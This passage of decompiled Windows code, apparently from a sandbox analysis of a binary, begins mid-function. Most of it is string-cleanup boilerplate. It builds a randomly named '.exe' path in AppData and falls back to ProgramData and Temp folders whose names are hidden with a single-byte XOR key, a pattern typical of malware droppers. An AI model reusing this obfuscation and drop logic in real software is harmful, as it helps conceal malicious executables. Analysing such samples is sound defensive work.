														__eflags = _t1713 - 0x1000;
														if(_t1713 < 0x1000) {
															L276:
															_push(_t1713);
															E0040ED7F(_t1549);
															_t1850 = _t1850 + 8;
															goto L277;
														} else {
															_t1467 =  *((intOrPtr*)(_t1549 - 4));
															_t1677 = _t1713 + 0x23;
															__eflags = _t1096 -  *((intOrPtr*)(_t1549 - 4)) + 0xfffffffc - 0x1f;
															if(__eflags > 0) {
																goto L346;
															} else {
																goto L276;
															}
														}
													}
												} else {
													_push(_t1433);
													_t1110 = E0040C6F0( &_v440,  &_v408);
													_v28 = 0x1b;
													_t1111 = E0040C910( &_v488, _t1110,  &_v384);
													_t1854 = _t1849 + 8;
													_t1553 = _t1111;
													_v28 = 0x1c;
													_t1808 =  *(_t1553 + 0x14);
													_t1716 =  *(_t1553 + 0x10);
													__eflags = _t1808 - _t1716 - 4;
													if(_t1808 - _t1716 < 4) {
														_v412 = 0;
														_t1553 = E00402990(_t1409, _t1553, _t1808, _t1815, 4, _v412, ".exe", 4);
													} else {
														 *(_t1553 + 0x10) =  &(_t1716->lpSecurityDescriptor);
														_t1132 = _t1553;
														__eflags = _t1808 - 0x10;
														if(_t1808 >= 0x10) {
															_t1132 =  *_t1553;
														}
														 *((intOrPtr*)(_t1132 + _t1716)) = 0x6578652e;
														 *((char*)(_t1132 +  &(_t1716->lpSecurityDescriptor))) = 0;
													}
													 *_t1815 = 0;
													 *(_t1815 + 0x10) = 0;
													 *(_t1815 + 0x14) = 0;
													asm("movups xmm0, [ecx]");
													asm("movups [esi], xmm0");
													asm("movq xmm0, [ecx+0x10]");
													asm("movq [esi+0x10], xmm0");
													 *(_t1553 + 0x10) = 0;
													 *(_t1553 + 0x14) = 0xf;
													 *_t1553 = 0;
													_t1717 = _v468;
													__eflags = _t1717 - 0x10;
													if(_t1717 < 0x10) {
														L249:
														_t1718 = _v420;
														_v472 = 0;
														_v468 = 0xf;
														_v488 = 0;
														__eflags = _t1718 - 0x10;
														if(_t1718 < 0x10) {
															L253:
															_t1719 = _v364;
															_v424 = 0;
															_v420 = 0xf;
															_v440 = 0;
															__eflags = _t1719 - 0x10;
															if(_t1719 < 0x10) {
																L257:
																_t1720 = _v340;
																_v368 = 0;
																_v364 = 0xf;
																_v384 = 0;
																__eflags = _t1720 - 0x10;
																if(_t1720 < 0x10) {
																	L261:
																	_v344 = 0;
																	_v340 = 0xf;
																	_v360 = 0;
																	goto L72;
																} else {
																	_t1554 = _v360;
																	_t1721 = _t1720 + 1;
																	_t1115 = _t1554;
																	__eflags = _t1721 - 0x1000;
																	if(_t1721 < 0x1000) {
																		L260:
																		_push(_t1721);
																		E0040ED7F(_t1554);
																		_t1854 = _t1854 + 8;
																		goto L261;
																	} else {
																		_t1467 =  *((intOrPtr*)(_t1554 - 4));
																		_t1677 = _t1721 + 0x23;
																		__eflags = _t1115 -  *((intOrPtr*)(_t1554 - 4)) + 0xfffffffc - 0x1f;
																		if(__eflags > 0) {
																			goto L346;
																		} else {
																			goto L260;
																		}
																	}
																}
															} else {
																_t1555 = _v384;
																_t1722 = _t1719 + 1;
																_t1119 = _t1555;
																__eflags = _t1722 - 0x1000;
																if(_t1722 < 0x1000) {
																	L256:
																	_push(_t1722);
																	E0040ED7F(_t1555);
																	_t1854 = _t1854 + 8;
																	goto L257;
																} else {
																	_t1467 =  *((intOrPtr*)(_t1555 - 4));
																	_t1677 = _t1722 + 0x23;
																	__eflags = _t1119 -  *((intOrPtr*)(_t1555 - 4)) + 0xfffffffc - 0x1f;
																	if(__eflags > 0) {
																		goto L346;
																	} else {
																		goto L256;
																	}
																}
															}
														} else {
															_t1556 = _v440;
															_t1723 =  &(_t1718->nLength);
															_t1123 = _t1556;
															__eflags = _t1723 - 0x1000;
															if(_t1723 < 0x1000) {
																L252:
																_push(_t1723);
																E0040ED7F(_t1556);
																_t1854 = _t1854 + 8;
																goto L253;
															} else {
																_t1467 =  *((intOrPtr*)(_t1556 - 4));
																_t1677 = _t1723 + 0x23;
																__eflags = _t1123 -  *((intOrPtr*)(_t1556 - 4)) + 0xfffffffc - 0x1f;
																if(__eflags > 0) {
																	goto L346;
																} else {
																	goto L252;
																}
															}
														}
													} else {
														_t1557 = _v488;
														_t1724 = _t1717 + 1;
														_t1127 = _t1557;
														__eflags = _t1724 - 0x1000;
														if(_t1724 < 0x1000) {
															L248:
															_push(_t1724);
															E0040ED7F(_t1557);
															_t1854 = _t1854 + 8;
															goto L249;
														} else {
															_t1467 =  *((intOrPtr*)(_t1557 - 4));
															_t1677 = _t1724 + 0x23;
															__eflags = _t1127 -  *((intOrPtr*)(_t1557 - 4)) + 0xfffffffc - 0x1f;
															if(__eflags > 0) {
																goto L346;
															} else {
																goto L248;
															}
														}
													}
												}
											} else {
												_t1558 = _v464;
												_t1665 =  &(_t1665->nLength);
												_t1133 = _t1558;
												__eflags = _t1665 - 0x1000;
												if(_t1665 < 0x1000) {
													L238:
													_push(_t1665);
													E0040ED7F(_t1558);
													_t1846 = _t1846 + 8;
													goto L239;
												} else {
													_t1467 =  *((intOrPtr*)(_t1558 - 4));
													_t1677 = _t1665 + 0x23;
													__eflags = _t1133 -  *((intOrPtr*)(_t1558 - 4)) + 0xfffffffc - 0x1f;
													if(__eflags > 0) {
														goto L346;
													} else {
														goto L238;
													}
												}
											}
										} else {
											_t1559 = _v440;
											_t1725 =  &(_t1664->nLength);
											_t1137 = _t1559;
											__eflags = _t1725 - 0x1000;
											if(_t1725 < 0x1000) {
												L234:
												_push(_t1725);
												E0040ED7F(_t1559);
												_t1846 = _t1846 + 8;
												goto L235;
											} else {
												_t1467 =  *((intOrPtr*)(_t1559 - 4));
												_t1677 = _t1725 + 0x23;
												__eflags = _t1137 -  *((intOrPtr*)(_t1559 - 4)) + 0xfffffffc - 0x1f;
												if(__eflags > 0) {
													goto L346;
												} else {
													goto L234;
												}
											}
										}
									} else {
										_t1560 = _v488;
										_t1726 = _t1663 + 1;
										_t1141 = _t1560;
										__eflags = _t1726 - 0x1000;
										if(_t1726 < 0x1000) {
											L230:
											_push(_t1726);
											E0040ED7F(_t1560);
											_t1846 = _t1846 + 8;
											goto L231;
										} else {
											_t1467 =  *((intOrPtr*)(_t1560 - 4));
											_t1677 = _t1726 + 0x23;
											__eflags = _t1141 -  *((intOrPtr*)(_t1560 - 4)) + 0xfffffffc - 0x1f;
											if(__eflags > 0) {
												goto L346;
											} else {
												goto L230;
											}
										}
									}
								} else {
									_t1153 =  &_v312;
									__imp__SHGetFolderPathA(0, 0x1a, 0, 0, _t1153); // executed
									__eflags = _t1153;
									if(__eflags < 0) {
										_t1727 = E00418AE5(_t1409, _t1807, _t1815, __eflags, "APPDATA");
										_t1845 = _t1845 + 4;
										_t1561 = _t1727;
										_t1808 = _t1561 + 1;
										do {
											_t1155 =  *_t1561;
											_t1561 = _t1561 + 1;
											__eflags = _t1155;
										} while (_t1155 != 0);
										_t1562 = _t1561 - _t1808;
										__eflags = _t1562;
										_push(_t1562);
										_push(_t1727);
									} else {
										_t1643 =  &_v312;
										_t1802 = _t1643 + 1;
										asm("o16 nop [eax+eax]");
										goto L36;
										L36:
										_t1382 =  *_t1643;
										_t1643 = _t1643 + 1;
										__eflags = _t1382;
										if(_t1382 != 0) {
											goto L36;
										} else {
											_push(_t1643 - _t1802);
											_push( &_v312);
										}
									}
									E004026C0(_t1409,  &_v408);
									E00406760(_t1409,  &_v384, _t1808); // executed
									_v28 = 1;
									_t1158 = E00417D76( &_v384, __eflags);
									asm("cdq");
									_t1566 =  &_v360;
									E004055C0(_t1566, _t1158 % 0xa + 5);
									_push(_t1566);
									_v28 = 2;
									_t1161 = E0040C6F0( &_v488,  &_v408);
									_v28 = 3;
									_t1162 = E0040C910( &_v440, _t1161,  &_v384);
									_t1854 = _t1845 + 8;
									E004024A0(_t1409,  &_v408, _t1162);
									_t1732 = _v420;
									__eflags = _t1732 - 0x10;
									if(_t1732 < 0x10) {
										L45:
										_v28 = 2;
										_t1733 = _v468;
										_v424 = 0;
										_v420 = 0xf;
										_v440 = 0;
										__eflags = _t1733 - 0x10;
										if(_t1733 < 0x10) {
											L49:
											_t1885 = _t1854 - 0x18;
											_v412 = _t1885;
											E0040BB10(_t1409, _t1885, _t1733, _t1808,  &_v360);
											_t1886 = _t1885 - 0x18;
											_v28 = 4;
											_t1572 = _t1886;
											E0040BB10(_t1409, _t1572, _t1733, _t1808,  &_v408);
											_v28 = 2;
											_t1168 = E00406800(_t1409, _t1572, _t1808, _t1815); // executed
											_t1887 = _t1886 + 0x30;
											__eflags = _t1168;
											if(_t1168 == 0) {
												_v413 = 0x2e;
												_t1808 =  *( *[fs:0x2c]);
												_t1170 =  *0x450efc; // 0x0
												__eflags = _t1170 -  *((intOrPtr*)(_t1808 + 4));
												if(_t1170 >  *((intOrPtr*)(_t1808 + 4))) {
													E0040EEC8(_t1170, 0x450efc);
													_t1887 = _t1887 + 4;
													__eflags =  *0x450efc - 0xffffffff;
													if(__eflags == 0) {
														asm("movaps xmm0, [0x439d70]");
														asm("movups [0x450ea8], xmm0");
														 *0x450eb8 = _v413;
														E0040F1DA(_t1572, __eflags, 0x42d000);
														E0040EE7E(0x450efc);
														_t1887 = _t1887 + 8;
													}
												}
												_t1171 =  *0x450eb8; // 0x0
												__eflags = _t1171;
												if(_t1171 != 0) {
													asm("movups xmm0, [0x450ea8]");
													asm("movaps xmm1, [0x439d20]");
													asm("pxor xmm1, xmm0");
													 *0x450eb8 = _t1171 ^ 0x0000002e;
													asm("movups [0x450ea8], xmm1");
												}
												_t1573 = 0x450ea8;
												_v336 = 0;
												_v320 = 0;
												_v316 = 0xf;
												_v336 = 0;
												_t158 = _t1573 + 1; // 0x450ea9
												_t1734 = _t158;
												asm("o16 nop [eax+eax]");
												do {
													_t1172 =  *_t1573;
													_t1573 = _t1573 + 1;
													__eflags = _t1172;
												} while (_t1172 != 0);
												E004026C0(_t1409,  &_v336, 0x450ea8, _t1573 - _t1734);
												_v28 = 7;
												_t1735 = _v316;
												_t1576 = _v320;
												__eflags = _t1735 - _t1576 - 1;
												if(_t1735 - _t1576 < 1) {
													_v412 = 0;
													_t1176 = E00402990(_t1409,  &_v336, _t1808, _t1815, "true", _v412, "\\", "true");
												} else {
													__eflags = _t1735 - 0x10;
													_v320 = _t1576 + 1;
													_t1345 =  >=  ? _v336 :  &_v336;
													 *((short*)(( >=  ? _v336 :  &_v336) + _t1576)) = 0x5c;
													_t1176 =  &_v336;
												}
												_v464 = 0;
												_v448 = 0;
												_v444 = 0;
												asm("movups xmm0, [eax]");
												asm("movups [ebp-0x1b8], xmm0");
												asm("movq xmm0, [eax+0x10]");
												asm("movq [ebp-0x1a8], xmm0");
												 *(_t1176 + 0x10) = 0;
												 *(_t1176 + 0x14) = 0xf;
												 *_t1176 = 0;
												_v28 = 8;
												_t1178 = E0040C910( &_v440,  &_v464,  &_v384);
												_t1854 = _t1887 + 4;
												E004024A0(_t1409,  &_v408, _t1178);
												_t1737 = _v420;
												__eflags = _t1737 - 0x10;
												if(_t1737 < 0x10) {
													L90:
													_v28 = 7;
													_t1738 = _v444;
													_v424 = 0;
													_v420 = 0xf;
													_v440 = 0;
													__eflags = _t1738 - 0x10;
													if(_t1738 < 0x10) {
														L94:
														_v28 = 2;
														_t1739 = _v316;
														_v448 = 0;
														_v444 = 0xf;
														_v464 = 0;
														__eflags = _t1739 - 0x10;
														if(_t1739 < 0x10) {
															L98:
															_t1888 = _t1854 - 0x18;
															_v316 = _t1888;
															E0040BB10(_t1409, _t1888, _t1739, _t1808,  &_v360);
															_t1889 = _t1888 - 0x18;
															_v28 = 9;
															_t1581 = _t1889;
															E0040BB10(_t1409, _t1581, _t1739, _t1808,  &_v408);
															_v28 = 2;
															_t1184 = E00406800(_t1409, _t1581, _t1808, _t1815);
															_t1890 = _t1889 + 0x30;
															__eflags = _t1184;
															if(_t1184 == 0) {
																_t1185 =  *0x450e88; // 0x0
																_v328 = 0x7e72146d;
																_v324 = 0x5c49415c;
																_v320 = 0x4f6a434f;
																_v316 = 0x4f5a;
																_v413 = 0x2e;
																__eflags = _t1185 -  *((intOrPtr*)(_t1808 + 4));
																if(_t1185 >  *((intOrPtr*)(_t1808 + 4))) {
																	E0040EEC8(_t1185, 0x450e88);
																	_t1890 = _t1890 + 4;
																	__eflags =  *0x450e88 - 0xffffffff;
																	if(__eflags == 0) {
																		asm("movq xmm0, [ebp-0x130]");
																		 *0x451010 = _v320;
																		 *0x451014 = _v316;
																		asm("movq [0x451008], xmm0");
																		 *0x451016 = _v413;
																		E0040F1DA(_t1581, __eflags, 0x42cfc0);
																		E0040EE7E(0x450e88);
																		_t1890 = _t1890 + 8;
																	}
																}
																__eflags =  *0x451016;
																if( *0x451016 != 0) {
																	_t1302 = 0;
																	__eflags = 0;
																	do {
																		 *(_t1302 + 0x451008) =  *(_t1302 + 0x451008) ^ 0x0000002e;
																		_t1302 = _t1302 + 1;
																		__eflags = _t1302 - 0xf;
																	} while (_t1302 < 0xf);
																}
																_t1582 = 0x451008;
																_v464 = 0;
																_v448 = 0;
																_v444 = 0xf;
																_v464 = 0;
																_t259 = _t1582 + 1; // 0x451009
																_t1740 = _t259;
																do {
																	_t1186 =  *_t1582;
																	_t1582 = _t1582 + 1;
																	__eflags = _t1186;
																} while (_t1186 != 0);
																E004026C0(_t1409,  &_v464, 0x451008, _t1582 - _t1740);
																_v28 = 0xc;
																_t1741 = _v444;
																_t1585 = _v448;
																__eflags = _t1741 - _t1585 - 1;
																if(_t1741 - _t1585 < 1) {
																	_v412 = 0;
																	_t1190 = E00402990(_t1409,  &_v464, _t1808, _t1815, "true", _v412, "\\", "true");
																} else {
																	__eflags = _t1741 - 0x10;
																	_v448 = _t1585 + 1;
																	_t1301 =  >=  ? _v464 :  &_v464;
																	 *((short*)(( >=  ? _v464 :  &_v464) + _t1585)) = 0x5c;
																	_t1190 =  &_v464;
																}
																_v440 = 0;
																_v424 = 0;
																_v420 = 0;
																asm("movups xmm0, [eax]");
																asm("movups [ebp-0x1a0], xmm0");
																asm("movq xmm0, [eax+0x10]");
																asm("movq [ebp-0x190], xmm0");
																 *(_t1190 + 0x10) = 0;
																 *(_t1190 + 0x14) = 0xf;
																 *_t1190 = 0;
																_v28 = 0xd;
																_t1192 = E0040C910( &_v488,  &_v440,  &_v384);
																_t1854 = _t1890 + 4;
																E004024A0(_t1409,  &_v408, _t1192);
																_t1743 = _v468;
																__eflags = _t1743 - 0x10;
																if(_t1743 < 0x10) {
																	L135:
																	_v28 = 0xc;
																	_t1744 = _v420;
																	_v472 = 0;
																	_v468 = 0xf;
																	_v488 = 0;
																	__eflags = _t1744 - 0x10;
																	if(_t1744 < 0x10) {
																		L139:
																		_v28 = 2;
																		_t1745 = _v444;
																		_v424 = 0;
																		_v420 = 0xf;
																		_v440 = 0;
																		__eflags = _t1745 - 0x10;
																		if(_t1745 < 0x10) {
																			L143:
																			_t1891 = _t1854 - 0x18;
																			_v316 = _t1891;
																			E0040BB10(_t1409, _t1891, _t1745, _t1808,  &_v360);
																			_t1892 = _t1891 - 0x18;
																			_v28 = 0xe;
																			_t1590 = _t1892;
																			E0040BB10(_t1409, _t1590, _t1745, _t1808,  &_v408);
																			_v28 = 2;
																			_t1198 = E00406800(_t1409, _t1590, _t1808, _t1815);
																			_t1893 = _t1892 + 0x30;
																			__eflags = _t1198;
																			if(_t1198 == 0) {
																				_t1199 =  *0x450f14; // 0x0
																				_v320 = 0x7a72146d;
																				_v316 = 0x2e5e434b;
																				__eflags = _t1199 -  *((intOrPtr*)(_t1808 + 4));
																				if(_t1199 >  *((intOrPtr*)(_t1808 + 4))) {
																					E0040EEC8(_t1199, 0x450f14);
																					_t1893 = _t1893 + 4;
																					__eflags =  *0x450f14 - 0xffffffff;
																					if(__eflags == 0) {
																						 *0x450f38 = _v320;
																						 *0x450f3c = _v316;
																						E0040F1DA(_v316, __eflags, 0x42cfb0);
																						E0040EE7E(0x450f14);
																						_t1893 = _t1893 + 8;
																					}
																				}
																				_t1200 =  *0x450f3f; // 0x0
																				__eflags = _t1200;
																				if(_t1200 != 0) {
																					 *0x450f38 =  *0x450f38 ^ 0x0000002e;
																					 *0x450f39 =  *0x450f39 ^ 0x0000002e;
																					 *0x450f3a =  *0x450f3a ^ 0x0000002e;
																					 *0x450f3b =  *0x450f3b ^ 0x0000002e;
																					 *0x450f3c =  *0x450f3c ^ 0x0000002e;
																					 *0x450f3d =  *0x450f3d ^ 0x0000002e;
																					 *0x450f3e =  *0x450f3e ^ 0x0000002e;
																					_t1260 = _t1200 ^ 0x0000002e;
																					__eflags = _t1260;
																					 *0x450f3f = _t1260;
																				}
																				_t1591 = 0x450f38;
																				_v464 = 0;
																				_v448 = 0;
																				_v444 = 0xf;
																				_v464 = 0;
																				_t354 =  &(_t1591[1]); // 0x450f39
																				_t1746 = _t354;
																				do {
																					_t1201 =  *_t1591;
																					_t1591 =  &(_t1591[1]);
																					__eflags = _t1201;
																				} while (_t1201 != 0);
																				E004026C0(_t1409,  &_v464, 0x450f38, _t1591 - _t1746);
																				_v28 = 0x11;
																				_t1747 = _v444;
																				_t1594 = _v448;
																				__eflags = _t1747 - _t1594 - 1;
																				if(_t1747 - _t1594 < 1) {
																					_v412 = 0;
																					_t1205 = E00402990(_t1409,  &_v464, _t1808, _t1815, "true", _v412, "\\", "true");
																				} else {
																					__eflags = _t1747 - 0x10;
																					_v448 = _t1594 + 1;
																					_t1259 =  >=  ? _v464 :  &_v464;
																					 *((short*)(( >=  ? _v464 :  &_v464) + _t1594)) = 0x5c;
																					_t1205 =  &_v464;
																				}
																				_v440 = 0;
																				_v424 = 0;
																				_v420 = 0;
																				asm("movups xmm0, [eax]");
																				asm("movups [ebp-0x1a0], xmm0");
																				asm("movq xmm0, [eax+0x10]");
																				asm("movq [ebp-0x190], xmm0");
																				 *(_t1205 + 0x10) = 0;
																				 *(_t1205 + 0x14) = 0xf;
																				 *_t1205 = 0;
																				_v28 = 0x12;
																				_t1207 = E0040C910( &_v488,  &_v440,  &_v384);
																				_t1854 = _t1893 + 4;
																				E004024A0(_t1409,  &_v408, _t1207);
																				_t1749 = _v468;
																				__eflags = _t1749 - 0x10;
																				if(_t1749 < 0x10) {
																					L179:
																					_v28 = 0x11;
																					_t1750 = _v420;
																					_v472 = 0;
																					_v468 = 0xf;
																					_v488 = 0;
																					__eflags = _t1750 - 0x10;
																					if(_t1750 < 0x10) {
																						L183:
																						_v28 = 2;
																						_t1751 = _v444;
																						_v424 = 0;
																						_v420 = 0xf;
																						_v440 = 0;
																						__eflags = _t1751 - 0x10;
																						if(_t1751 < 0x10) {
																							L187:
																							_t1894 = _t1854 - 0x18;
																							_v316 = _t1894;
																							E0040BB10(_t1409, _t1894, _t1751, _t1808,  &_v360);
																							_t1895 = _t1894 - 0x18;
																							_v28 = 0x13;
																							_t1599 = _t1895;
																							E0040BB10(_t1409, _t1599, _t1751, _t1808,  &_v408);
																							_v28 = 2;
																							_t1213 = E00406800(_t1409, _t1599, _t1808, _t1815);
																							_t1854 = _t1895 + 0x30;
																							__eflags = _t1213;
																							if(_t1213 == 0) {
																								_v28 = 1;
																								_t1752 = _v340;
																								__eflags = _t1752 - 0x10;
																								if(_t1752 < 0x10) {
																									L213:
																									_v28 = 0;
																									_t1677 = _v364;
																									_v344 = 0;
																									_v340 = 0xf;
																									_v360 = 0;
																									__eflags = _t1677 - 0x10;
																									if(_t1677 < 0x10) {
																										L342:
																										E00402520(_t1815, 0x4399f7);
																										L343:
																										E00402450(_t1409,  &_v408);
																										goto L344;
																									} else {
																										_t1600 = _v384;
																										_t1677 =  &(1[_t1677]);
																										_t1214 = _t1600;
																										__eflags = _t1677 - 0x1000;
																										if(_t1677 < 0x1000) {
																											L216:
																											_push(_t1677);
																											E0040ED7F(_t1600);
																											goto L342;
																										} else {
																											_t1467 =  *((intOrPtr*)(_t1600 - 4));
																											_t1677 = _t1677 + 0x23;
																											__eflags = _t1214 -  *((intOrPtr*)(_t1600 - 4)) + 0xfffffffc - 0x1f;
																											if(__eflags > 0) {
																												goto L346;
																											} else {
																												goto L216;
																											}
																										}
																									}
																								} else {
																									_t1601 = _v360;
																									_t1753 = _t1752 + 1;
																									_t1218 = _t1601;
																									__eflags = _t1753 - 0x1000;
																									if(_t1753 < 0x1000) {
																										L212:
																										_push(_t1753);
																										E0040ED7F(_t1601);
																										_t1854 = _t1854 + 8;
																										goto L213;
																									} else {
																										_t1467 =  *((intOrPtr*)(_t1601 - 4));
																										_t1677 = _t1753 + 0x23;
																										__eflags = _t1218 -  *((intOrPtr*)(_t1601 - 4)) + 0xfffffffc - 0x1f;
																										if(__eflags > 0) {
																											goto L346;
																										} else {
																											goto L212;
																										}
																									}
																								}
																							} else {
																								_push(_t1599);
																								_t1222 = E0040C6F0( &_v440,  &_v408);
																								_v28 = 0x14;
																								_t1223 = E0040C910( &_v488, _t1222,  &_v360);
																								_t1854 = _t1854 + 8;
																								_t1605 = _t1223;
																								_v28 = 0x15;
																								_t1808 =  *(_t1605 + 0x14);
																								_t1756 =  *(_t1605 + 0x10);
																								__eflags = _t1808 - _t1756 - 4;
																								if(_t1808 - _t1756 < 4) {
																									_v412 = 0;
																									_t1605 = E00402990(_t1409, _t1605, _t1808, _t1815, 4, _v412, ".exe", 4);
																								} else {
																									 *(_t1605 + 0x10) =  &(_t1756->lpSecurityDescriptor);
																									_t1244 = _t1605;
																									__eflags = _t1808 - 0x10;
																									if(_t1808 >= 0x10) {
																										_t1244 =  *_t1605;
																									}
																									 *((intOrPtr*)(_t1244 + _t1756)) = 0x6578652e;
																									 *((char*)(_t1244 +  &(_t1756->lpSecurityDescriptor))) = 0;
																								}
																								 *_t1815 = 0;
																								 *(_t1815 + 0x10) = 0;
																								 *(_t1815 + 0x14) = 0;
																								asm("movups xmm0, [ecx]");
																								asm("movups [esi], xmm0");
																								asm("movq xmm0, [ecx+0x10]");
																								asm("movq [esi+0x10], xmm0");
																								 *(_t1605 + 0x10) = 0;
																								 *(_t1605 + 0x14) = 0xf;
																								 *_t1605 = 0;
																								_t1757 = _v468;
																								__eflags = _t1757 - 0x10;
																								if(_t1757 < 0x10) {
																									L197:
																									_t1758 = _v420;
																									_v472 = 0;
																									_v468 = 0xf;
																									_v488 = 0;
																									__eflags = _t1758 - 0x10;
																									if(_t1758 < 0x10) {
																										L201:
																										_t1759 = _v340;
																										_v424 = 0;
																										_v420 = 0xf;
																										_v440 = 0;
																										__eflags = _t1759 - 0x10;
																										if(_t1759 < 0x10) {
																											L205:
																											_t1760 = _v364;
																											_v344 = 0;
																											_v340 = 0xf;
																											_v360 = 0;
																											__eflags = _t1760 - 0x10;
																											if(_t1760 < 0x10) {
																												goto L71;
																											} else {
																												_t1606 = _v384;
																												_t1761 = _t1760 + 1;
																												_t1227 = _t1606;
																												__eflags = _t1761 - 0x1000;
																												if(_t1761 < 0x1000) {
																													goto L70;
																												} else {
																													_t1467 =  *((intOrPtr*)(_t1606 - 4));
																													_t1677 = _t1761 + 0x23;
																													__eflags = _t1227 -  *((intOrPtr*)(_t1606 - 4)) + 0xfffffffc - 0x1f;
																													if(__eflags > 0) {
																														goto L346;
																													} else {
																														goto L70;
																													}
																												}
																											}
																										} else {
																											_t1607 = _v360;
																											_t1762 = _t1759 + 1;
																											_t1231 = _t1607;
																											__eflags = _t1762 - 0x1000;
																											if(_t1762 < 0x1000) {
																												L204:
																												_push(_t1762);
																												E0040ED7F(_t1607);
																												_t1854 = _t1854 + 8;
																												goto L205;
																											} else {
																												_t1467 =  *((intOrPtr*)(_t1607 - 4));
																												_t1677 = _t1762 + 0x23;
																												__eflags = _t1231 -  *((intOrPtr*)(_t1607 - 4)) + 0xfffffffc - 0x1f;
																												if(__eflags > 0) {
																													goto L346;
																												} else {
																													goto L204;
																												}
																											}
																										}
																									} else {
																										_t1608 = _v440;
																										_t1763 =  &(_t1758->nLength);
																										_t1235 = _t1608;
																										__eflags = _t1763 - 0x1000;
																										if(_t1763 < 0x1000) {
																											L200:
																											_push(_t1763);
																											E0040ED7F(_t1608);
																											_t1854 = _t1854 + 8;
																											goto L201;
																										} else {
																											_t1467 =  *((intOrPtr*)(_t1608 - 4));
																											_t1677 = _t1763 + 0x23;
																											__eflags = _t1235 -  *((intOrPtr*)(_t1608 - 4)) + 0xfffffffc - 0x1f;
																											if(__eflags > 0) {
																												goto L346;
																											} else {
																												goto L200;
																											}
																										}
																									}
																								} else {
																									_t1609 = _v488;
																									_t1764 = _t1757 + 1;
																									_t1239 = _t1609;
																									__eflags = _t1764 - 0x1000;
																									if(_t1764 < 0x1000) {
																										L196:
																										_push(_t1764);
																										E0040ED7F(_t1609);
																										_t1854 = _t1854 + 8;
																										goto L197;
																									} else {
																										_t1467 =  *((intOrPtr*)(_t1609 - 4));
																										_t1677 = _t1764 + 0x23;
																										__eflags = _t1239 -  *((intOrPtr*)(_t1609 - 4)) + 0xfffffffc - 0x1f;
																										if(__eflags > 0) {
																											goto L346;
																										} else {
																											goto L196;
																										}
																									}
																								}
																							}
																						} else {
																							_t1610 = _v464;
																							_t1751 =  &(_t1751->nLength);
																							_t1245 = _t1610;
																							__eflags = _t1751 - 0x1000;
																							if(_t1751 < 0x1000) {
																								L186:
																								_push(_t1751);
																								E0040ED7F(_t1610);
																								_t1854 = _t1854 + 8;
																								goto L187;
																							} else {
																								_t1467 =  *((intOrPtr*)(_t1610 - 4));
																								_t1677 = _t1751 + 0x23;
																								__eflags = _t1245 -  *((intOrPtr*)(_t1610 - 4)) + 0xfffffffc - 0x1f;
																								if(__eflags > 0) {
																									goto L346;
																								} else {
																									goto L186;
																								}
																							}
																						}
																					} else {
																						_t1611 = _v440;
																						_t1765 =  &(_t1750->nLength);
																						_t1249 = _t1611;
																						__eflags = _t1765 - 0x1000;
																						if(_t1765 < 0x1000) {
																							L182:
																							_push(_t1765);
																							E0040ED7F(_t1611);
																							_t1854 = _t1854 + 8;
																							goto L183;
																						} else {
																							_t1467 =  *((intOrPtr*)(_t1611 - 4));
																							_t1677 = _t1765 + 0x23;
																							__eflags = _t1249 -  *((intOrPtr*)(_t1611 - 4)) + 0xfffffffc - 0x1f;
																							if(__eflags > 0) {
																								goto L346;
																							} else {
																								goto L182;
																							}
																						}
																					}
																				} else {
																					_t1612 = _v488;
																					_t1766 = _t1749 + 1;
																					_t1253 = _t1612;
																					__eflags = _t1766 - 0x1000;
																					if(_t1766 < 0x1000) {
																						L178:
																						_push(_t1766);
																						E0040ED7F(_t1612);
																						_t1854 = _t1854 + 8;
																						goto L179;
																					} else {
																						_t1467 =  *((intOrPtr*)(_t1612 - 4));
																						_t1677 = _t1766 + 0x23;
																						__eflags = _t1253 -  *((intOrPtr*)(_t1612 - 4)) + 0xfffffffc - 0x1f;
																						if(__eflags > 0) {
																							goto L346;
																						} else {
																							goto L178;
																						}
																					}
																				}
																			} else {
																				_push(_t1590);
																				_t1265 = E0040C6F0( &_v440,  &_v408);
																				_v28 = 0xf;
																				_t1266 = E0040C910( &_v488, _t1265,  &_v360);
																				_t1854 = _t1893 + 8;
																				_t1617 = _t1266;
																				_v28 = 0x10;
																				_t1808 =  *(_t1617 + 0x14);
																				_t1769 =  *(_t1617 + 0x10);
																				__eflags = _t1808 - _t1769 - 4;
																				if(_t1808 - _t1769 < 4) {
																					_v412 = 0;
																					_t1617 = E00402990(_t1409, _t1617, _t1808, _t1815, 4, _v412, ".exe", 4);
																				} else {
																					 *(_t1617 + 0x10) =  &(_t1769->lpSecurityDescriptor);
																					_t1286 = _t1617;
																					__eflags = _t1808 - 0x10;
																					if(_t1808 >= 0x10) {
																						_t1286 =  *_t1617;
																					}
																					 *((intOrPtr*)(_t1286 + _t1769)) = 0x6578652e;
																					 *((char*)(_t1286 +  &(_t1769->lpSecurityDescriptor))) = 0;
																				}
																				 *_t1815 = 0;
																				 *(_t1815 + 0x10) = 0;
																				 *(_t1815 + 0x14) = 0;
																				asm("movups xmm0, [ecx]");
																				asm("movups [esi], xmm0");
																				asm("movq xmm0, [ecx+0x10]");
																				asm("movq [esi+0x10], xmm0");
																				 *(_t1617 + 0x10) = 0;
																				 *(_t1617 + 0x14) = 0xf;
																				 *_t1617 = 0;
																				_t1770 = _v468;
																				__eflags = _t1770 - 0x10;
																				if(_t1770 < 0x10) {
																					L153:
																					_t1771 = _v420;
																					_v472 = 0;
																					_v468 = 0xf;
																					_v488 = 0;
																					__eflags = _t1771 - 0x10;
																					if(_t1771 < 0x10) {
																						L157:
																						_t1772 = _v340;
																						_v424 = 0;
																						_v420 = 0xf;
																						_v440 = 0;
																						__eflags = _t1772 - 0x10;
																						if(_t1772 < 0x10) {
																							L161:
																							_t1773 = _v364;
																							_v344 = 0;
																							_v340 = 0xf;
																							_v360 = 0;
																							__eflags = _t1773 - 0x10;
																							if(_t1773 < 0x10) {
																								goto L71;
																							} else {
																								_t1606 = _v384;
																								_t1761 = _t1773 + 1;
																								_t1270 = _t1606;
																								__eflags = _t1761 - 0x1000;
																								if(_t1761 < 0x1000) {
																									goto L70;
																								} else {
																									_t1467 =  *((intOrPtr*)(_t1606 - 4));
																									_t1677 = _t1761 + 0x23;
																									__eflags = _t1270 -  *((intOrPtr*)(_t1606 - 4)) + 0xfffffffc - 0x1f;
																									if(__eflags > 0) {
																										goto L346;
																									} else {
																										goto L70;
																									}
																								}
																							}
																						} else {
																							_t1618 = _v360;
																							_t1774 = _t1772 + 1;
																							_t1273 = _t1618;
																							__eflags = _t1774 - 0x1000;
																							if(_t1774 < 0x1000) {
																								L160:
																								_push(_t1774);
																								E0040ED7F(_t1618);
																								_t1854 = _t1854 + 8;
																								goto L161;
																							} else {
																								_t1467 =  *((intOrPtr*)(_t1618 - 4));
